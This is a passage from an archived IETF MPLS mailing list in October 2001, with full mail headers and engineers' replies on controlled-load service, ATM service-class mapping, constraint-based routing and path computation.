-> Service rather than Controlled Load Service.  GS and CLS are 
-> Integrated
-> Services based - which means they (in theory at least) are 
-> supported by
-> more generalized IP forwarding devices (potentially including ATM).
-> 
-> You wrote:
-> 
-> > Hi !
-> > I need to ask few basic doubts.
-> >
-> > 1. How is Controlled load service (CLS) different from ABR ?
-> > 2. Which are the user applications of CLS ?
-> > 3. If CLS provides approximately the same QoS under heavy 
-> loads as under
-> > light loads,why isn't it referred in guaranteed service category ?
-> > 4. How does MPLS implement CLS ?
-> >
-> > Regards,
-> > Hemant
-> 


From owner-mpls@UU.NET  Tue Oct 16 11:37:47 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03594
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 11:37:47 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkzu15410;
	Tue, 16 Oct 2001 15:35:34 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkzu11998
	for mpls-outgoing; Tue, 16 Oct 2001 15:35:02 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkzu11989
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 15:35:00 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkzu26662
	for <mpls@UU.NET>; Tue, 16 Oct 2001 15:34:45 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlkzu14385
	for <mpls@UU.NET>; Tue, 16 Oct 2001 15:35:01 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA25698;
	Tue, 16 Oct 2001 11:34:43 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA10545;
	Tue, 16 Oct 2001 11:34:39 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <TLVXQCTW>; Tue, 16 Oct 2001 11:34:38 -0400
Message-ID: <39469E08BD83D411A3D900204840EC5554C908@vie-msgusr-01.dc.fore.com>
From: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
To: "'rajeshp@future.futsoft.com'" <rajeshp@future.futsoft.com>,
        "'MPLS UUNET Mailing List'" <mpls@UU.NET>
Subject: RE: Constraint Based Routing
Date: Tue, 16 Oct 2001 11:34:12 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Rajesh:

-> 	Can anyone explain me what exactly is "Constraint-Based 
-> Routing" (CBR) ?

   You will find more info if you search the web (or list achieves).
   But in a crude way, if you type source and destination address 
   in www.mapquest.com you get different paths 
       - shortest path
       - fastest path
       - avoid highways etc etc :)
   The same fundamentals work out here in routing/switching IP
   datagrams. You will be given certain link/node/path constraints
   in the topology and you need to optimize and get the "best"
   path to route/switch.
 
-> 	Please correct me if I am wrong. I feel that RSVP-TE, 
-> CR-LDP, CSPF (the
-> protocols like RSVP, LDP and OSPF) having extension for 
-> Traffice-Engineering
-> can synomously used for "CBR" since the constraint are 
-> specified while
-> setting up the LSP.
->
-> 	Also, please give a list of protocols which needs to be 
-> extended for "CBR".

   This is the place where I am little bit inconvenient. As an
   evolving beneficial technology, MPLS didn't extend any of the
   existing routing protocols (OSPF and ISIS) to do CSPF. 
   If a border conversion router running OSPF and ISIS which are 
   distributing topologies and helping signaling protocols to 
   find out "Traffic engineered" paths, Can you think of how 
   many (C)SPF algo's the LSR running? In any case, RFCs 2386 and
   2676 will be some help for you.
   
   Routing protocols, OSPF & ISIS are extended (still extending)
   to include traffic engineering information. Signaling protocols, 
   RSVP-TE and CR-LDP, are used to setup constrained paths.
   Apart from this, you should implement your own topology
   data base and CSPF. (no standards are required for this)
  
   I request Kireeti to include an informational appendix on
   CSPF algo, in the forth coming draft-kompella-te-pathcomp-00
   to the benefit of the community (just like appendix B&C in
   RFC 2676 :) - if he doesn't mind!

--Venkata Naidu


From owner-mpls@UU.NET  Tue Oct 16 11:40:15 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03954
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 11:40:15 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkzu07316;
	Tue, 16 Oct 2001 15:37:07 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkzu12195
	for mpls-outgoing; Tue, 16 Oct 2001 15:37:00 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkzu12179
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 15:36:45 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkzu06080
	for <mpls@uu.net>; Tue, 16 Oct 2001 15:36:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkzu08579
	for <mpls@uu.net>; Tue, 16 Oct 2001 15:36:18 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA25806 for <mpls@uu.net>; Tue, 16 Oct 2001 11:36:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA00329 for mpls@uu.net; Tue, 16 Oct 2001 11:36:01 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkzu11982
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 15:34:54 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkzu18168
	for <mpls@UU.NET>; Tue, 16 Oct 2001 15:34:00 GMT
Received: from fido.nc.rr.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rdu26-240-155.nc.rr.com [66.26.240.155])
	id QQlkzu12988
	for <mpls@UU.NET>; Tue, 16 Oct 2001 15:34:15 GMT
Received: from localhost (jboyle@localhost)
	by fido.nc.rr.com (8.11.2/8.11.2) with ESMTP id f9GFZES10398;
	Tue, 16 Oct 2001 11:35:14 -0400
X-Authentication-Warning: fido.nc.rr.com: jboyle owned process doing -bs
Date: Tue, 16 Oct 2001 11:35:14 -0400 (EDT)
From: Jim Boyle <jboyle@pdnets.com>
X-X-Sender:  <jboyle@fido>
To: Rajesh P Jain <rajeshp@future.futsoft.com>
cc: "'MPLS UUNET Mailing List'" <mpls@UU.NET>,
        <senthil.venkatachalam@usa.alcatel.com>, <ben@baces.com>,
        <benjamin.abarbanel@usa.alcatel.com>
Subject: Re: BGP Traffic Engineering
In-Reply-To: <001501c1562d$5799d160$4307080a@future.futsoft.com>
Message-ID: <Pine.LNX.4.33.0110161134450.1898-100000@fido>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


please see:

http://psg.com/lists/te-wg/te-wg.2001/msg00226.html

Jim

On Tue, 16 Oct 2001, Rajesh P Jain wrote:

> "Hi",
> 	I just wanted to check out regarding the BGP4 support for Traffic
> Engineering.
>
> 	There was a draft from Ben Abarbanel and Senthil Vnkatachalam on BGP4
> support for Traffic Engineering namely draft-abarbanel-idr-bgp4-te-00.txt
> (September 2000). What is the current status of the draft ???
>
> 	Is there any implementation on this draft ??? Is further work going on ???
> Or the draft is freezed out ???
>
> 	Any help will be appreciated.
>
> TIA
> 	Rajesh P Jain
>



From owner-mpls@UU.NET  Tue Oct 16 11:41:38 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA04126
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 11:41:37 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkzu11679;
	Tue, 16 Oct 2001 15:38:42 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkzu12299
	for mpls-outgoing; Tue, 16 Oct 2001 15:38:33 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkzu12289
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 15:38:31 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkzu12219
	for <mpls@uu.net>; Tue, 16 Oct 2001 15:38:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkzu11774
	for <mpls@uu.net>; Tue, 16 Oct 2001 15:38:19 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA26123 for <mpls@uu.net>; Tue, 16 Oct 2001 11:38:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA00463 for mpls@uu.net; Tue, 16 Oct 2001 11:38:02 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkzu12181
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 15:36:46 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkzu29882
	for <mpls@UU.NET>; Tue, 16 Oct 2001 15:35:47 GMT
Received: from cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: uzura.cisco.com [64.102.17.77])
	id QQlkzu16399
	for <mpls@UU.NET>; Tue, 16 Oct 2001 15:36:03 GMT
Received: from ASIMHA-W2K.cisco.com (dhcp-64-102-48-149.cisco.com [64.102.48.149])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id LAA06422;
	Tue, 16 Oct 2001 11:35:41 -0400 (EDT)
Date: Tue, 16 Oct 2001 11:34:54 -0400 (Eastern Daylight Time)
From: Ajay Simha <asimha@cisco.com>
To: Rajesh P Jain <rajeshp@future.futsoft.com>
cc: "'MPLS UUNET Mailing List'" <mpls@UU.NET>
Subject: Re: Constraint Based Routing
In-Reply-To: <001f01c15642$382a2180$4307080a@future.futsoft.com>
Message-ID: <Pine.WNT.4.40.0110161133320.296-100000@ASIMHA-W2K.cisco.com>
X-X-Sender: asimha@uzura.cisco.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

On Tue, 16 Oct 2001, Rajesh P Jain wrote:

RPJ>"Hi",
RPJ>	Can anyone explain me what exactly is "Constraint-Based Routing" (CBR) ?
RPJ>
RPJ>	Please correct me if I am wrong. I feel that RSVP-TE, CR-LDP, CSPF (the
RPJ>protocols like RSVP, LDP and OSPF) having extension for Traffice-Engineering
RPJ>can synomously used for "CBR" since the constraint are specified while
RPJ>setting up the LSP.

Rajesh,

There is the PCALC for which the IGP flooding is used at headends when the
path is computed based on the constraints.  RSVP/CR-LDP comes later to signal
and reserve the needed bandwidth and get labels for the PATH.

-ajay


RPJ>
RPJ>	Also, please give a list of protocols which needs to be extended for "CBR".
RPJ>TIA,
RPJ>	Rajesh P Jain
RPJ>

-- 
Ajay Simha
MPLS Deployment Engineer
IOS Technology Division
(919) 392-3141

When in despair I remember that all through
history the way of truth and love has always won;
there have been tyrants and murderers, and for a
time they can seem invincible, but in the end they
always fall.

 - Mahatma Gandhi



From owner-mpls@UU.NET  Tue Oct 16 12:41:08 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA09830
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 12:41:07 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkzy15010;
	Tue, 16 Oct 2001 16:39:20 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkzy06409
	for mpls-outgoing; Tue, 16 Oct 2001 16:38:44 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkzy06402
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 16:38:42 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkzy15048
	for <mpls@UU.NET>; Tue, 16 Oct 2001 16:38:25 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlkzy01421
	for <mpls@UU.NET>; Tue, 16 Oct 2001 16:38:15 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA01739;
	Tue, 16 Oct 2001 12:38:20 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA25848;
	Tue, 16 Oct 2001 12:38:20 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <TLVXQGT6>; Tue, 16 Oct 2001 12:38:13 -0400
Message-ID: <313680C9A886D511A06000204840E1CF76B808@whq-msgusr-02.pit.comms.marconi.com>
From: "Iren, Sami" <Sami.Iren@marconi.com>
To: "Naidu, Venkata" <Venkata.Naidu@marconi.com>,
        "'Eric Gray'"
	 <eric.gray@sandburst.com>,
        "Hemant P. Kelkar" <hemant@cyberspace.org>
Cc: mpls-ops@mplsrc.com, mpls@UU.NET
Subject: RE: CLS
Date: Tue, 16 Oct 2001 12:38:07 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hemant:
Since Eric and Venkata answered part 1 of your questions,
I'll try to answer the remaining questions very briefly.
You can get details from RFC 2211.

Q2)The end user applications for CL service is real-time tolerant
applications such as video applications with buffering which
hides the packet losses from the application.

Q3)The exact definition of CL is given in RFC2211 as follows:
"The end-to-end behavior provided to an application by a series
of network elements providing controlled-load service tightly 
approximates the behavior visible to applications receiving 
best-effort service under 'unloaded conditions' from the same
series of network elements".
That is, the only guarantee you get from CL service is the
average delay. The end-to-end delay experienced by some arbitrary
packet cannot be guaranteed. With the guaranteed service class (GS),
you get the latter guarantee.

Q4)CL is one of the two service classes integrated services offer.
However, IntServ suffers from scalability problems especially at
the core because of the state information it requires.
Therefore, in the core, DiffServ is the typical QoS mechanism used
today with MPLS. Assured Forwarding (AF) is the closest diffserv 
service class to CL. 

I hope this helps.
---
Sami Iren
Marconi Networks
Tel: (724) 742-6849
Fax: (724) 742-4555
Email: sami.iren@marconi.com



> -----Original Message-----
> From: Naidu, Venkata [mailto:Venkata.Naidu@Marconi.com]
> Sent: Tuesday, October 16, 2001 10:44 AM
> To: 'Eric Gray'; Hemant P. Kelkar
> Cc: mpls-ops@mplsrc.com; mpls@UU.NET
> Subject: RE: CLS
> 
> 
> Hemant:
> 
>   Apart from what Eric has pointed out, there has been
>   an extensive work done (in the past) to map service 
>   classes between Internet and ATM technologies
> 
>   As per RFC2381 recommendations:
>      Guaranteed Service    ->     CBR or rtVBR
>      Controlled Load       ->     nrtVBR or ABR (with a minimum
>                                   cell rate)
>      Best Effort           ->     UBR or ABR
> 
>   But in my opinion ABR is the odd man out. You can't
>   directly map ABR to either "Controlled Load" or "Best effort".
>   There has been some research in ALS (Adaptive Load Service)
>   which is an ABR-Like Service for the Internet.
> 
>      http://citeseer.nj.nec.com/271051.html
> 
> --Venkata Naidu
> 
> -> Hemant,
> -> 
> ->     ABR is ATM specific, and somewhat more analogous to Guaranteed
> -> Service rather than Controlled Load Service.  GS and CLS are 
> -> Integrated
> -> Services based - which means they (in theory at least) are 
> -> supported by
> -> more generalized IP forwarding devices (potentially including ATM).
> -> 
> -> You wrote:
> -> 
> -> > Hi !
> -> > I need to ask few basic doubts.
> -> >
> -> > 1. How is Controlled load service (CLS) different from ABR ?
> -> > 2. Which are the user applications of CLS ?
> -> > 3. If CLS provides approximately the same QoS under heavy 
> -> loads as under
> -> > light loads,why isn't it referred in guaranteed service 
> category ?
> -> > 4. How does MPLS implement CLS ?
> -> >
> -> > Regards,
> -> > Hemant
> -> 
> 


From owner-mpls@UU.NET  Tue Oct 16 13:29:47 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA11803
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 13:29:47 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllab21668;
	Tue, 16 Oct 2001 17:27:28 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllab29704
	for mpls-outgoing; Tue, 16 Oct 2001 17:26:53 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllab29699
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 17:26:49 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllab05894
	for <mpls@uu.net>; Tue, 16 Oct 2001 17:25:03 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllab16445
	for <mpls@uu.net>; Tue, 16 Oct 2001 17:25:18 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id NAA10975 for <mpls@uu.net>; Tue, 16 Oct 2001 13:25:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA06074 for mpls@uu.net; Tue, 16 Oct 2001 13:25:01 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllab29463
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 17:23:49 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllab15879
	for <mpls@UU.NET>; Tue, 16 Oct 2001 17:23:22 GMT
Received: from cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: uzura.cisco.com [64.102.17.77])
	id QQllab28059
	for <mpls@UU.NET>; Tue, 16 Oct 2001 17:23:13 GMT
Received: from ASIMHA-W2K.cisco.com (dhcp-64-102-48-149.cisco.com [64.102.48.149])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id NAA20142;
	Tue, 16 Oct 2001 13:23:12 -0400 (EDT)
Date: Tue, 16 Oct 2001 13:22:25 -0400 (Eastern Daylight Time)
From: Ajay Simha <asimha@cisco.com>
To: "Chen, Cheng" <CChen@necam.com>
cc: Rajesh P Jain <rajeshp@future.futsoft.com>,
        "'MPLS UUNET Mailing List'" <mpls@UU.NET>
Subject: RE: Constraint Based Routing
In-Reply-To: <24B43D557F16D5118FF2009027EE8180017782D9@mars.mis.dl.nec.com>
Message-ID: <Pine.WNT.4.40.0110161305060.296-100000@ASIMHA-W2K.cisco.com>
X-X-Sender: asimha@uzura.cisco.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

On Tue, 16 Oct 2001, Chen, Cheng wrote:

CC>Mr. Simha,
CC>
CC>
CC>What is PCALC? where can i find the detailed description on PCALC?

Sorry for the jargon.  PCALC is short for Path Calculation (Computation) done
at the headend.

7.0 Constraint-Based Routing

of RFC-2702 talks about it some.

-ajay
CC>
CC>Thank you in advance,
CC>
CC>
CC>Best Regards,
CC>
CC>
CC>Cheng C. Chen
CC>
CC>-----Original Message-----
CC>From: Ajay Simha [mailto:asimha@cisco.com]
CC>Sent: Tuesday, October 16, 2001 10:35 AM
CC>To: Rajesh P Jain
CC>Cc: 'MPLS UUNET Mailing List'
CC>Subject: Re: Constraint Based Routing
CC>
CC>
CC>On Tue, 16 Oct 2001, Rajesh P Jain wrote:
CC>
CC>RPJ>"Hi",
CC>RPJ>	Can anyone explain me what exactly is "Constraint-Based Routing"
CC>(CBR) ?
CC>RPJ>
CC>RPJ>	Please correct me if I am wrong. I feel that RSVP-TE, CR-LDP, CSPF
CC>(the
CC>RPJ>protocols like RSVP, LDP and OSPF) having extension for
CC>Traffice-Engineering
CC>RPJ>can synomously used for "CBR" since the constraint are specified while
CC>RPJ>setting up the LSP.
CC>
CC>Rajesh,
CC>
CC>There is the PCALC for which the IGP flooding is used at headends when the
CC>path is computed based on the constraints.  RSVP/CR-LDP comes later to
CC>signal
CC>and reserve the needed bandwidth and get labels for the PATH.
CC>
CC>-ajay
CC>
CC>
CC>RPJ>
CC>RPJ>	Also, please give a list of protocols which needs to be extended for
CC>"CBR".
CC>RPJ>TIA,
CC>RPJ>	Rajesh P Jain
CC>RPJ>
CC>
CC>

-- 
Ajay Simha
MPLS Deployment Engineer
IOS Technology Division
(919) 392-3141

When in despair I remember that all through
history the way of truth and love has always won;
there have been tyrants and murderers, and for a
time they can seem invincible, but in the end they
always fall.

 - Mahatma Gandhi



From owner-mpls@UU.NET  Tue Oct 16 22:34:25 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA26198
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 22:34:25 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllbm26520;
	Wed, 17 Oct 2001 02:33:40 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllbm06498
	for mpls-outgoing; Wed, 17 Oct 2001 02:33:01 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllbm06491
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 02:32:54 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllbm17780
	for <mpls@UU.net>; Wed, 17 Oct 2001 02:32:54 GMT
Received: from mailweb17.rediffmail.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [203.199.83.141])
	id QQllbm25374
	for <mpls@UU.net>; Wed, 17 Oct 2001 02:33:10 GMT
Received: (qmail 25412 invoked by uid 510); 17 Oct 2001 02:32:29 -0000
Date: 17 Oct 2001 02:32:29 -0000
Message-ID: <20011017023229.25411.qmail@mailweb17.rediffmail.com>
Received: from unknown (134.193.128.21) by rediffmail.com via HTTP; 17 Oct 2001 02:32:29 -0000
MIME-Version: 1.0
From: "k m a" <technology2001@rediffmail.com>
Reply-To: "k m a" <technology2001@rediffmail.com>
To: <mpls@UU.NET>
Subject: some questions!!!
Content-type: text/plain;
	charset=iso-8859-1
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id WAA26198



hi all i have the following questions ,if u could help me on these!!!
1) what is Constraint Based Routing in general
i mean how is an MPLS router intelligent enough to perform it. 
 2) how does MPLS perform resource reservation/constraint based routing 
 3) is the MPLS label used in any way to accomplish the above 
 4) what is CR-LDP 
 5)is there some form of load balancing done in case a route becomes 
   unavailable 
    - if so, what is the overhead in terms of control messages etc.. 
    - compare this with resource reservation/overhead etc.. in an 'IP 
      only' network( ie: no MPLS ) 

thanx a lot
k 



From owner-mpls@UU.NET  Tue Oct 16 23:36:19 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA27440
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 23:36:19 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllbq26408;
	Wed, 17 Oct 2001 03:35:51 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllbq29600
	for mpls-outgoing; Wed, 17 Oct 2001 03:35:20 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllbq29587
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 03:35:12 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllbq20437
	for <mpls@uu.net>; Wed, 17 Oct 2001 03:35:02 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllbq24897
	for <mpls@uu.net>; Wed, 17 Oct 2001 03:35:18 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id XAA07222 for <mpls@uu.net>; Tue, 16 Oct 2001 23:35:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id XAA00925 for mpls@uu.net; Tue, 16 Oct 2001 23:35:01 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllbq29495
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 03:34:00 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllbq02515
	for <mpls@UU.NET>; Wed, 17 Oct 2001 03:33:26 GMT
Received: from cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: uzura.cisco.com [64.102.17.77])
	id QQllbq23241
	for <mpls@UU.NET>; Wed, 17 Oct 2001 03:33:43 GMT
Received: from ASIMHA-HP.cisco.com (rtp-vpn2-91.cisco.com [10.82.240.91])
